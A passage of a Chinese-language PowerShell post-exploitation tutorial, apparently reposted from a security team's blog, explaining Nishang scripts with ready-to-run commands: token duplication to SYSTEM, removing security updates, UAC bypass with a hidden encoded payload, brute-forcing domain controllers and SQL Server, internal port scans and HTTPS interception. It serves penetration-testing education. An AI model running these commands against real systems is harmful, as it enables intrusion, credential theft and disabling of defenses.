这个脚本主要有两个参数,在上面介绍其他后门当中已经说明了,这里是类似的 需要说明的是,执行后它会在AppData的目录下建立一个ads并把我们的Payload注入进去,如果我们希望在cmd下看到我们这里建立的ads,需要使用:dir /a /r

4.客户端

对于这一部分的脚本,我就不再赘述了,因为网上早已经有了对于这一部分脚本的介绍说明: [使用Powershell Client进行有效钓鱼][8]

5.权限提升

Enable-DuplicateToken

这个脚本可以帮助我们在已经获得了一定权限的情况下,使我们提升到System权限。 执行方式

PS > Enable-DuplicateToken

具体的相关介绍可以查阅:https://blogs.technet.microsoft.com/heyscriptingguy/2012/07/05/use-powershell-to-duplicate-process-tokens-via-pinvoke/

Remove-Update

这个脚本可以帮助我们移除系统所有的更新,或所有安全更新,以及指定编号的更新。 执行方式:

PS > Remove-Update All       //移除目标机器上的所有更新
PS > Remove-Update Security  //移除目标机器上所有安全相关更新
PS > Remove-Update KB2761226 //移除指定编号的更新

Invoke-PsUACme

Invoke-PsUACme使用了来自于UACME项目的DLL来Bypass UAC。

Powershell攻击指南黑客后渗透之道系列——实战篇

上表给出了各种UAC绕过的方法,我们可以在Invoke-PsUACme中指定相应方法执行。 执行方式:

PS > Invoke-PsUACme -Verbose //使用Sysprep方法和默认的Payload执行
PS > Invoke-PsUACme -method oobe -Verbose //使用oobe方法和默认的Payload执行
PS > Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e YourEncodedPayload" //使用-Payload参数可以自行指定要执行的Payload

除开以上而外,我们还可以使用-PayloadPath参数来指定Payload的路径,默认情况下Payload会在C:\Windows\Temp\cmd.bat结束。还可以使用-CustomDLL64(64位)或-CustomDLL32(32位)参数来自定义一个DLL文件。

6.扫描

Invoke-BruteForce

这个脚本可以对SQL Server、域控制器、Web以及FTP进行口令的爆破 执行方式:

PS > Invoke-BruteForce -ComputerName targetdomain.com -UserList C:\test\users.txt -PasswordList C:\test\wordlist.txt -Service ActiveDirectory -StopOnSuccess -Verbose //爆破域控制器
PS > Invoke-BruteForce -ComputerName SQLServ01 -UserList C:\test\users.txt -PasswordList C:\test\wordlist.txt -Service SQL -Verbose  //爆破SQL Server
PS > cat C:\test\servers.txt | Invoke-BruteForce -UserList C:\test\users.txt -PasswordList C:\test\wordlist.txt -Service SQL -Verbose  //爆破server.txt中所有servers的SQL Server

主要的参数:

  • ComputerName 用于指定对应服务的计算机名

  • UserList 用户名字典

  • PasswordList 密码字典

  • Service 服务类型(注意默认为:SQL)

  • StopOnSuccess 成功找到一个后就停止执行

Invoke-PortScan

利用这个脚本我们可以在目标机器上对内网进行端口扫描 执行方式:

PS >Invoke-PortScan -StartAddress 192.168.0.1 -EndAddress 192.168.10.254 -ResolveHost -ScanPort -Port 80

主要的参数:

  • StartAddress 扫描范围开始的地址

  • EndAddress 扫描范围结束的地址

  • ScanPort 进行端口扫描

  • Port 指定扫描端口(默认扫描端口:21,22,23,53,69,71,80,98,110,139,111, 389,443,445,1080,1433,2001,2049,3001,3128,5222,6667,6868,7777,7878,8080,1521,3306,3389,5801,5900,5555,5901)

  • TimeOut 设置超时时间

7.中间人

Invoke-Interceptor

这个脚本可以通过建立一个代理服务器的方式来拦截HTTPS的请求,并将这些请求记录下来 执行方式:

PS >Invoke-Interceptor -ProxyServer 192.168.230.21 -ProxyPort 3128 //这条命令将默认在8081端口监听并把请求发送给上游代理的3128端口

可以通过ListenPort来修改我们目标机器上的监听端口(默认8081端口) 例如 我们在目标机器上执行:

Powershell攻击指南黑客后渗透之道系列——实战篇

然后这里本机我用NC来监听对应端口:

Powershell攻击指南黑客后渗透之道系列——实战篇

接收到了来自目标机的请求数据

Powershell攻击指南黑客后渗透之道系列——实战篇

并且这个脚本会在目标机的TEMP目录下生成interceptor.log的文件来记录请求数据

Nishang结语

Nishang这款基于PowerShell的渗透测试专用工具集成了非常多实用的脚本与框架,方便我们在渗透测试过程之中使用。尽管,在一些环境下我们可能没有办法去执行Powershell,但是通过查看这些脚本的具体代码,我们也可以自己去完成实现脚本提供的一些功能。限于篇幅,本文只能抛砖引玉地介绍Nishang的部分功能,希望大家能够在实际的应用之中去体验。

总结

好了,目前关于Powershell的东西已经分享完啦,欢迎在评论下方互动!

Powershell攻击指南黑客后渗透之道系列——实战篇

Powershell攻击指南黑客后渗透之道系列——实战篇

请猛戳右边二维码

Twitter:AsrcSecurity

公众号ID

阿里安全响应中心

Powershell攻击指南黑客后渗透之道系列——实战篇


以上所述就是小编给大家介绍的《Powershell攻击指南黑客后渗透之道系列——实战篇》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Hackers

Hackers

Steven Levy / O'Reilly Media / 2010-5-30 / USD 21.99

This 25th anniversary edition of Steven Levy's classic book traces the exploits of the computer revolution's original hackers -- those brilliant and eccentric nerds from the late 1950s through the ear......一起来看看 《Hackers》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

MD5 加密
MD5 加密

MD5 加密工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换